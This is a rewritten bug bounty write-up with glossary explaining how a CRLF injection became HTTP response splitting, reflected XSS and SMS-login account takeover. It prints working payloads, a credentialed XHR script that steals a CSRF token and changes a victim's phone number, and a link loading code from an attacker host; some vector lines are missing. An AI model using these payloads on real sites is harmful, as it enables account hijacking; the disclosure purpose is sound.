From CRLF to Account Takeover
A CRLF injection in a subdomain allowed HTTP response splitting, which the author turned into reflected XSS. Combined with a phone number change endpoint lacking confirmation and a misconfigured CORS policy, an attacker could change a victim's phone number and then log in via SMS to take over the account.
Published on medium.com
Valeriy Shevchenko
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up describes a chain that starts with a CRLF injection and HTTP response splitting on a subdomain of a bug bounty target and ends in account takeover. The target is referred to throughout as redacted.com; the researcher, Valeriy Shevchenko, published the account on 3 June 2020.
The feature at the centre of the story is SMS login. The site added the ability to log in with a phone number for users who could not remember their password. The phone number itself was not a new field: it was loaded from the section where a user sets a number for delivery notifications. The developers reused that existing functionality for authentication without adding validation or confirmation. The only check present was that the number was not already used by another user, and a number could be changed without any confirmation step.
That reuse is what makes a client-side bug valuable here. If an attacker can run JavaScript in a victim's session, they can change the victim's phone number to the attacker's number and then log in with SMS.
Setup
The researcher tested with Firefox behind Burp Suite, proxying traffic without modifying it, and also used curl. No specific versions are given.
A precondition for the original plan was a CORS configuration that let subdomains make credentialed requests to the main domain. The report shows the following headers:
X-Frame-Options: SAMEORIGINAccess-Control-Allow-Origin: https://subdomain.redacted.comAccess-Control-Allow-Credentials: true
With Access-Control-Allow-Credentials: true and a specific subdomain in Access-Control-Allow-Origin, an XSS on any subdomain could read and act on the main domain using the current user session. The intended chain was XSS, then the misconfigured CORS, then account takeover.
Finding it
The first attempts to find XSS failed, and a month later a second attempt also failed. The researcher then scanned the company's subdomains, including a range of network addresses, looking for misconfigurations. This turned up a classic CRLF injection through %0D%0Amyheader:mydata%0D%0A. Using securitytrails to map domains and subdomains belonging to the organisation, the researcher found about 10 valid CRLFs across the whole range.
The next step was to turn CRLF into XSS. The report cites a payload from a public CRLF cheatsheet:
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
Decoded, that is:
Content-Length:35X-XSS-Protection:023<svg onload=alert(document.domain)>0/..
After reading blackfan's HackerOne report 192667, the researcher tried a similar approach on a subdomain:
This produced a reflection with an alert box. The researcher also found a subdomain based on the vulnerable domain name. The result looked successful in Firefox behind Burp Suite, but reproducing it without Burp failed completely. The browser console showed:
net::ERR_INVALID_CHUNKED_ENCODING 404 (Not found)
Exploitation
Step 1: understand why Burp made it work
Nothing was enabled in Burp; traffic was only proxied. The difference came from Burp's handling of chunked responses. The response splitting landed inside the chunked part of the response and broke the chunk consistency. Burp parses the broken chunks and delivers the whole response as one complete message, so Firefox behind Burp received a normal page with the injected XSS moved into the body.


Browsers without Burp, and curl, returned an empty response instead.

The relevant Burp setting is described in its documentation as:
Strip chunked encoding metadata in streaming: Streaming is generally chunked-encoded over HTTP. If this option is selected, Burp will remove the chunked encoding metadata, making the responses more easily readable within Burp. Note that removing this metadata may break the client-side application, depending on how it is implemented
Step 2: build a valid chunked response
With the help of blackfan's advice on chunk encoding, the researcher built a correctly formed GET request carrying the reflected XSS. The chunk size has to be calculated correctly, converted from decimal to hexadecimal, and the payload has to end the chunked body with a zero-length chunk so the rest of the server response is discarded.
The first working vector was:
Decoded:
The browser still refused it, with a new console error:
net::ERR_CONTENT_DECODING_FAILED 404 (Not found)
Adding Content-Encoding: utf-8 fixed that. The final reflected XSS vector was:
Decoded:
Step 3: read the CSRF token and customer ID
The remaining work was to send an XHR POST that fetches the CSRF token and then a POST that changes the phone number in the victim's account. The body of the change request looked like this:
{"phone_number": "520–868–1111", "customerID":3908211111, "country_calling_code":", "country_short_name": "US", "source_page": "sign_up_page", "_csrf_token": "[redacted]"}
The unique parameters are customerID and _csrf_token. After a lot of errors, the researcher extracted them like this:
xhr = new XMLHttpRequest();xhr.open("GET","https://redacted.com",true);xhr.withCredentials = true;xhr.onreadystatechange = function () { if(xhr.readyState === XMLHttpRequest.DONE){ data = xhr.responseText; re = /"csrfToken":"[A-Z0-9]*"/g; cid = /"customerID":[0-9]*/g; console.log(data.match(re)); console.log(data.match(cid)); }}xhr.send();
The parameters are printed to the console only to demonstrate and test the idea.
Step 4: change the victim's phone number
The final script that changes the victim's phone number was:
function submitRequest(token, customer_id) { var xhr = new XMLHttpRequest(); xhr.open("POST", "https:\/\/www.redacted.com\/a\/sms_subs\/subs", true); xhr.setRequestHeader("Accept", "application\/json"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application\/json"); xhr.withCredentials = true; var body = "{\"phone_number\":\"319-214-1111\",\"customerID\":" + customer_id + ",\"country_calling_code\":\"\",\"country_short_name\":\"US\",\"source_page\":\"sign_up_page\",\"_csrf_token\":\"" + token + "\"}"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); }xhr = new XMLHttpRequest();xhr.open("GET","https://www.redacted.com",true);xhr.withCredentials = true;xhr.onreadystatechange = function () { if(xhr.readyState === XMLHttpRequest.DONE){ data = xhr.responseText; re = /"csrfToken":"([A-Z0-9]*)"/g; cid = /"customerID":([0-9]*)/g; token = re.exec(data)[1]; customer_id = cid.exec(data)[1]; console.log(token, customer_id); }}xhr.send();
customerID is inserted as a bare number taken from the victim's page, which is why it appears as " + customer_id + ". The _csrf_token value is inserted inside quotation marks, as \"" + token + "\". The researcher notes that inserting the first parameter in quotes was a mistake that stopped the whole chain from working properly.
Step 5: deliver the payload
The attacker's final link could look like this:
When the victim opens the link, their browser fetches the XHR code from ataaker.com/pipdec4.js and executes it. The victim's phone number in the account is changed to the attacker's number, and the attacker can then log in to the victim's account with that number.
Root cause
Two weaknesses combine. The first is CRLF injection in the subdomain's handling of the request, which allows HTTP response splitting: injected Content-Type, X-XSS-Protection and Content-Encoding headers plus a chunked body containing a script. The second is the SMS login feature reusing the delivery-notification phone field with no confirmation and no validation beyond a uniqueness check, so a session that can issue a POST to the phone-change endpoint can redirect authentication to an attacker-controlled number.
The script reads the CSRF token and customer ID from the victim's page with a credentialed XHR before submitting the change. The CORS configuration that trusts subdomains with credentials is what lets the subdomain XSS act on the main domain. The chunked encoding details matter because a malformed chunked body is rejected by browsers; the payload only works once the chunk size is correct, the terminating zero chunk is present, and the response declares a content encoding.
Impact
An attacker who can get a victim to open the crafted link can change the victim's phone number to the attacker's number and then log in to the victim's account via SMS. This is account takeover, which the researcher describes as critical in the bug bounty programme. It depends on the victim opening the crafted link while logged in.
Fix
The report does not describe the fix that was applied. The changes implied by the chain are to stop CRLF sequences from reaching response headers on the affected subdomains, to stop trusting arbitrary subdomains in Access-Control-Allow-Origin with credentials, and to require confirmation before a phone number used for SMS login can be changed.
Variants to test
- Scan subdomains and address ranges for
%0D%0Areflections in headers. A positive result is an injected header such asmyheader: mydataappearing in the response. - Try the cheatsheet payload with
Content-Length,X-XSS-Protection: 0and an SVGonload. A positive result is script execution in the browser rather than an empty response. - Build a chunked response with a correct hexadecimal chunk size, a terminating
0chunk,Content-Type: text/html,X-XSS-Protection: 0andContent-Encoding: utf-8. A positive result is the injected script rendering as the page body in a browser without an intercepting proxy. - Test whether a subdomain XSS can make credentialed XHR requests to the main domain. A positive result is a readable response containing the CSRF token and customer ID.
- Test whether a phone number used for SMS login can be changed without confirmation. A positive result is a successful change request followed by an SMS login to the new number.
What happened, in plain words
A security researcher found a way to take over someone else's account on a website. The trick did not need a password. It needed the victim to click one link.
The chain had three links. First, a bug called CRLF injection let the researcher slip extra instructions into the website's reply to the browser, a technique called HTTP response splitting. Second, that let him run his own JavaScript inside the victim's browser, a bug class called XSS. Third, the site had just added SMS login, and the phone number used for it could be changed without any confirmation. So the script changed the victim's phone number to the attacker's number, and the attacker then logged in with a text message code.
The researcher is Valeriy Shevchenko, and he published this account on 3 June 2020. The site is called redacted.com throughout.
Before going further, a few words that come up constantly.
- A server is the computer that holds a website and answers requests. Your browser is the client.
- A request is what your browser sends ("give me this page"). A response is what the server sends back. A response has two parts: headers (small labelled lines of metadata, like the label on a parcel) and a body (the actual content, like what is inside the parcel).
- A cookie is a small piece of data the site stores in your browser so it can recognise you on the next request. It is like the wristband you get at an event: show it and you are let back in without queuing again. A session is the logged-in state that cookie represents.
- A token is a random string the site gives your browser to prove a request really came from your own page and not from somewhere else. A CSRF token is a specific kind used to stop another site from quietly submitting forms as you.
- JavaScript is the programming language browsers run. It can read the page, send requests and change what you see. XSS (cross-site scripting) means an attacker got their own JavaScript to run inside someone else's session on the site.
- An API is the set of addresses a website offers for programs to talk to it, rather than for people clicking links. Think of a restaurant: the menu is the website, the kitchen order window is the API. A POST request is one that sends data to change something, like handing in an order form. A GET request asks for data without changing anything.
- CORS is a browser rule about which other sites are allowed to read responses from this site. By default a site does not let other origins read its data. A site can relax that with headers, and if it relaxes it too much, other sites can read things they should not.
- Chunked encoding is how a server can send a response in pieces. Each piece starts with its size written in hexadecimal (base 16), then the data, then a line break. A piece of size
0means "that is the end".
The feature that made it serious
In early March, while looking around the site, the researcher noticed new functionality: you could log in with a phone number and an SMS code. That is handy when you have forgotten your password.
He went straight to the user profile to see what new fields had appeared. Nothing new. The phone number was already there: it came from the section where a user sets a number for delivery notifications. The developers had simply reused that existing field for login, without adding validation or a confirmation step.
The only check was that the number was not already used by another user. A number could be changed with no confirmation at all.
That is the important part. If an attacker can run JavaScript in a victim's session, they can point the victim's account at the attacker's phone number, then log in with SMS. The JavaScript is the key that turns a small bug into a stolen account.
The plan, and the first obstacle
The researcher's first idea was to find XSS on the site. A subdomain is a site under the main one, like shop.example.com next to example.com. He had a reason to think a subdomain bug would be enough: the site's CORS settings let subdomains make requests to the main domain while carrying the user's session. The report shows these headers:
X-Frame-Options: SAMEORIGINAccess-Control-Allow-Origin: https://subdomain.redacted.comAccess-Control-Allow-Credentials: true
Line by line:
X-Frame-Options: SAMEORIGINtells the browser this page may only be shown inside a frame on the same site. It is a defence against clickjacking, where a page is hidden under another.Access-Control-Allow-Origin: https://subdomain.redacted.comsays that this one subdomain is allowed to read responses from the main domain.Access-Control-Allow-Credentials: truesays those cross-site requests may include the user's cookies, meaning the user's logged-in session.
Put together, the CORS policy let subdomains make credentialed requests to the main domain. The intended chain was XSS, then the loose CORS, then account takeover.
But the search failed. He tried, found no XSS, and put the idea aside. A month later he came back and tried again. Nothing.
Finding CRLF
A couple of months later he tried a different angle: checking all the company's subdomains, including a range of network addresses, for misconfigurations. This time he found something. There was a classic CRLF injection, triggered by sending %0D%0Amyheader:mydata%0D%0A.
What is CRLF? In HTTP, a line in the headers ends with two invisible characters: carriage return and line feed. In a URL they are written as %0D and %0A. If a site takes something you typed and puts it into its response headers without cleaning it, you can send those two characters yourself and start a new header line. That is CRLF injection. It is like writing a fake extra line on a form and having the clerk copy it into the official record.
He used securitytrails, a service that maps domains and subdomains belonging to an organisation, to work out which addresses belonged to the company. In total he found about 10 valid CRLFs across the whole range.
Turning CRLF into XSS
A CRLF injection alone is not enough to steal an account. The next step is to use it to inject a whole new response, which is called HTTP response splitting. The idea: if you can add headers, you can also add the blank line that ends the headers and start a body, and that body can contain a script.
The researcher remembered a common pattern from a public CRLF cheatsheet:
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
Decoded, that is:
Content-Length:35X-XSS-Protection:023<svg onload=alert(document.domain)>0/..
What each piece does:
%0d%0astarts a new header line.Content-Length:35tells the browser how many bytes of body to expect.X-XSS-Protection:0switches off an old browser filter that might otherwise block the script.- The next
%0d%0a%0d%0ais the blank line that separates headers from body. 23is the size of the following chunk in hexadecimal, and<svg onload=alert(document.domain)>is an image tag that runs JavaScript as soon as it loads. Thealertbox is just a harmless proof that code ran.0ends the chunked body, and/%2e%2eis a path fragment.
He then read blackfan's HackerOne report 192667 and tried a similar approach on a subdomain:
Line by line:
%3fis a question mark, the character that starts the query string of a URL.%0d%0aLocation:starts a new header calledLocation, which normally tells the browser to go somewhere else.Content-Type:text/htmltells the browser to treat the response as a web page, not as plain data.X-XSS-Protection%3a0is the same filter switch as before, with the colon encoded as%3a.%0d%0a%0d%0aends the headers and starts the body.%3Cscript%3Ealert%28document.domain%29%3C/script%3Eis<script>alert(document.domain)</script>: a script that shows the current domain in a pop-up.
It worked. He got a reflection with an alert box. He was also lucky enough to find a subdomain based on the vulnerable domain name. He was testing in Firefox behind Burp Suite, a tool that sits between the browser and the server and lets you inspect traffic, and he was pleased.
Then he tried the same thing without Burp. It did not work at all. The browser console showed:
net::ERR_INVALID_CHUNKED_ENCODING 404 (Not found)
That error means the browser received a chunked response whose pieces did not add up, and it refused to render it.
Why Burp made it work
Nothing was switched on in Burp. He was only proxying traffic, passing it through unchanged. Or so it seemed.
The difference was in how Burp handles chunked responses. His injected content landed inside the chunked part of the response and broke the chunk sizes. Burp, being helpful, parses the broken chunks and hands the browser one complete response. So Firefox behind Burp got a normal page with the injected XSS moved into the body.


Browsers without Burp, and curl (a command-line tool for fetching URLs), returned an empty response instead.

The relevant Burp setting is described in its own documentation:
Strip chunked encoding metadata in streaming: Streaming is generally chunked-encoded over HTTP. If this option is selected, Burp will remove the chunked encoding metadata, making the responses more easily readable within Burp. Note that removing this metadata may break the client-side application, depending on how it is implemented
In plain words: Burp tidies up the chunk markers so a human can read the response. That tidying is exactly what hid the problem from him at first.
Building a valid chunked response
With blackfan's advice on chunk encoding, he rebuilt the request so that the browser itself would accept it. Three things had to be right:
- The chunk size must be calculated correctly and written in hexadecimal, not decimal.
- The chunked body must end with a zero-length chunk, so the rest of the server's response is thrown away.
- The response must declare how its text is encoded.
The first working vector was:
Decoded:
Line by line:
%3fstarts the query string, as before.%0D%0AContent-Type:text/htmlinjects a header saying the response is a web page.%0D%0AX-XSS-Protection%3a0injects the header that disables the old filter.28is the size of the next chunk in hexadecimal, which is 40 in decimal. That is exactly the length of the script that follows.%3Cscript%3Ealert(document.domain)%3C/script%3Eis the script itself.%0D%0A0%0D%0A%0D%0Aends the chunked body with a zero chunk, so nothing after it is shown.
The browser still refused it, with a new console error:
net::ERR_CONTENT_DECODING_FAILED 404 (Not found)
That means the browser could not work out how to decode the text. Adding Content-Encoding: utf-8 fixed it. UTF-8 is the standard way of encoding text characters, and declaring it tells the browser how to read the bytes. The final reflected XSS vector was:
Decoded:
This is the same as the previous one, with one extra injected header, Content-Encoding: utf-8, before the blank line. Now the browser accepted the response and ran the script.
Reading the CSRF token and customer ID
With script execution in the victim's browser, the remaining work was to change the phone number. The site's phone-change request needed two values that are unique to the victim: a customerID and a _csrf_token. The body of that request looked like this:
{"phone_number": "520–868–1111", "customerID":3908211111, "country_calling_code":", "country_short_name": "US", "source_page": "sign_up_page", "_csrf_token": "[redacted]"}
This is JSON, a common text format for structured data: curly braces hold a set of named values. phone_number is the number to set, customerID identifies the account, country_calling_code and country_short_name describe the country, source_page says where the request came from, and _csrf_token is the anti-forgery token. The two values that change per victim are customerID and _csrf_token.
After a lot of errors, he managed to pull those two values out of the victim's own page like this:
xhr = new XMLHttpRequest();xhr.open("GET","https://redacted.com",true);xhr.withCredentials = true;xhr.onreadystatechange = function () { if(xhr.readyState === XMLHttpRequest.DONE){ data = xhr.responseText; re = /"csrfToken":"[A-Z0-9]*"/g; cid = /"customerID":[0-9]*/g; console.log(data.match(re)); console.log(data.match(cid)); }}xhr.send();
Line by line:
new XMLHttpRequest()creates a request object, the browser's built-in way for JavaScript to fetch data.xhr.open("GET","https://redacted.com",true)prepares a GET request to the main site. Thetruemeans do it in the background without freezing the page.xhr.withCredentials = truetells the browser to attach the user's cookies, so the request is made as the logged-in victim.xhr.onreadystatechangesets a function to run when the request's state changes.if(xhr.readyState === XMLHttpRequest.DONE)runs the inner code only when the request has finished.data = xhr.responseTextstores the page the server sent back.re = /"csrfToken":"[A-Z0-9]*"/gandcid = /"customerID":[0-9]*/gare regular expressions, patterns for finding text. The first looks for the CSRF token, the second for the customer ID.console.log(data.match(re))andconsole.log(data.match(cid))print what was found into the browser console, purely to demonstrate and test the idea.xhr.send()actually sends the request.
Changing the victim's phone number
The final script that changes the victim's phone number was:
function submitRequest(token, customer_id) { var xhr = new XMLHttpRequest(); xhr.open("POST", "https:\/\/www.redacted.com\/a\/sms_subs\/subs", true); xhr.setRequestHeader("Accept", "application\/json"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application\/json"); xhr.withCredentials = true; var body = "{\"phone_number\":\"319-214-1111\",\"customerID\":" + customer_id + ",\"country_calling_code\":\"\",\"country_short_name\":\"US\",\"source_page\":\"sign_up_page\",\"_csrf_token\":\"" + token + "\"}"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); }xhr = new XMLHttpRequest();xhr.open("GET","https://www.redacted.com",true);xhr.withCredentials = true;xhr.onreadystatechange = function () { if(xhr.readyState === XMLHttpRequest.DONE){ data = xhr.responseText; re = /"csrfToken":"([A-Z0-9]*)"/g; cid = /"customerID":([0-9]*)/g; token = re.exec(data)[1]; customer_id = cid.exec(data)[1]; console.log(token, customer_id); }}xhr.send();
Line by line:
function submitRequest(token, customer_id)defines a function that takes the two values it needs.xhr.open("POST", "https:\/\/www.redacted.com\/a\/sms_subs\/subs", true)prepares a POST to the phone-change address. The backslashes are just escaping in the string.- The three
setRequestHeaderlines tell the server the request expects JSON back, prefers English, and carries JSON in its body. xhr.withCredentials = trueagain attaches the victim's cookies.var body = ...builds the JSON text, insertingcustomer_idas a bare number andtokeninside quotation marks.new Uint8Array(body.length)and theforloop convert the text into raw bytes, one character at a time.xhr.send(new Blob([aBody]))sends those bytes as the request body.- The second half is the same fetch as before, but this time
re.exec(data)[1]andcid.exec(data)[1]take the captured value out of the match and store it intokenandcustomer_id. console.log(token, customer_id)prints both for testing.
customerID is inserted as a bare number taken from the victim's page, which is why it appears as " + customer_id + ". The _csrf_token value is inserted inside quotation marks, as \"" + token + "\". The researcher notes that inserting the first parameter in quotes was a mistake that stopped the whole chain from working properly.
Delivering the payload
The attacker's final link could look like this:
Line by line:
- The headers are the same as the working vector:
Content-Type: text/html,X-XSS-Protection: 0andContent-Encoding: utf-8. 5Dis the chunk size in hexadecimal, which is 93 in decimal, the length of the script that follows.%3Cscript%3Edocument.write%28...%29%3C%2Fscript%3Eis a script that callsdocument.write, which writes text into the page. The text it writes is another script tag pointing athttps://ataaker.com/pipdec4.js.%0D%0A0%0D%0A%0D%0Aends the chunked body with a zero chunk.
When the victim opens the link, their browser fetches the XHR code from ataaker.com/pipdec4.js and runs it. The victim's phone number in the account is changed to the attacker's number, and the attacker can then log in to the victim's account with that number.
Why it worked
Two weaknesses combine.
The first is CRLF injection in the subdomain's handling of the request, which allows HTTP response splitting: injected Content-Type, X-XSS-Protection and Content-Encoding headers plus a chunked body containing a script.
The second is the SMS login feature reusing the delivery-notification phone field with no confirmation and no validation beyond a uniqueness check. A session that can send a POST to the phone-change address can redirect authentication to an attacker-controlled number.
The script reads the CSRF token and customer ID from the victim's page with a credentialed request before submitting the change. The CORS configuration that trusts subdomains with credentials is what lets the subdomain XSS act on the main domain. The chunked encoding details matter because a malformed chunked body is rejected by browsers. The payload only works once the chunk size is correct, the terminating zero chunk is present, and the response declares a content encoding.
What it means
An attacker who can get a victim to open the crafted link can change the victim's phone number to the attacker's number and then log in to the victim's account via SMS. This is account takeover, which the researcher describes as critical in the bug bounty programme. It depends on the victim opening the crafted link while logged in.
How to fix it
The report does not describe the fix that was applied. The changes implied by the chain are to stop CRLF sequences from reaching response headers on the affected subdomains, to stop trusting arbitrary subdomains in Access-Control-Allow-Origin with credentials, and to require confirmation before a phone number used for SMS login can be changed.
Things to try yourself
- Scan subdomains and address ranges for
%0D%0Areflections in headers. A positive result is an injected header such asmyheader: mydataappearing in the response. - Try the cheatsheet payload with
Content-Length,X-XSS-Protection: 0and an SVGonload. A positive result is script execution in the browser rather than an empty response. - Build a chunked response with a correct hexadecimal chunk size, a terminating
0chunk,Content-Type: text/html,X-XSS-Protection: 0andContent-Encoding: utf-8. A positive result is the injected script rendering as the page body in a browser without an intercepting proxy. - Test whether a subdomain XSS can make credentialed requests to the main domain. A positive result is a readable response containing the CSRF token and customer ID.
- Test whether a phone number used for SMS login can be changed without confirmation. A positive result is a successful change request followed by an SMS login to the new number.
Glossary
- Account takeover: gaining control of someone else's account, usually by changing its login details.
- API: the set of addresses a website offers for programs to talk to it, rather than for people clicking links.
- Body: the content part of an HTTP response, as opposed to its headers.
- Browser: the program on your computer that fetches and displays web pages.
- Burp Suite: a tool that sits between a browser and a server so you can inspect and change traffic.
- Chunked encoding: a way of sending a response in pieces, each starting with its size in hexadecimal and ending with a zero-size piece.
- Client: the program making a request, usually the browser.
- Cookie: a small piece of data a site stores in your browser so it can recognise you later.
- CORS: a browser rule about which other sites may read responses from this site, relaxed or tightened by headers.
- CRLF injection: slipping the carriage-return and line-feed characters into a request so that extra header lines appear in the response.
- CSRF token: a random value a site includes in forms and requests to prove they came from its own pages.
- curl: a command-line tool for fetching URLs.
- customerID: the value in this report that identifies a particular account.
- GET request: a request that asks for data without changing anything.
- Header: a small labelled line of metadata at the start of an HTTP request or response.
- Hexadecimal: base-16 counting, using 0 to 9 and A to F, often used for sizes in chunked encoding.
- HTTP response splitting: using CRLF injection to insert a whole extra response, including headers and a body, into the server's reply.
- JavaScript: the programming language browsers run to make pages interactive.
- JSON: a text format for structured data, using curly braces and named values.
- Origin: the combination of scheme, host and port that a browser uses to decide what may talk to what.
- POST request: a request that sends data to change something on the server.
- Regular expression: a pattern for finding text inside a larger string.
- Request: what a browser sends to a server asking for something.
- Response: what a server sends back, made of headers and a body.
- SameSite: a browser setting that limits when cookies are sent on cross-site requests.
- Server: the computer that holds a website and answers requests.
- Session: the logged-in state a site keeps for you, usually represented by a cookie.
- SMS login: logging in by receiving a code by text message on a phone number.
- Subdomain: a site under a main domain, such as
shop.example.comunderexample.com. - Token: a random string used to prove a request or session is genuine.
- UTF-8: the standard way of encoding text characters as bytes.
- XHR (XMLHttpRequest): the browser's built-in way for JavaScript to fetch data in the background.
- XSS (cross-site scripting): getting an attacker's JavaScript to run inside someone else's session on a site.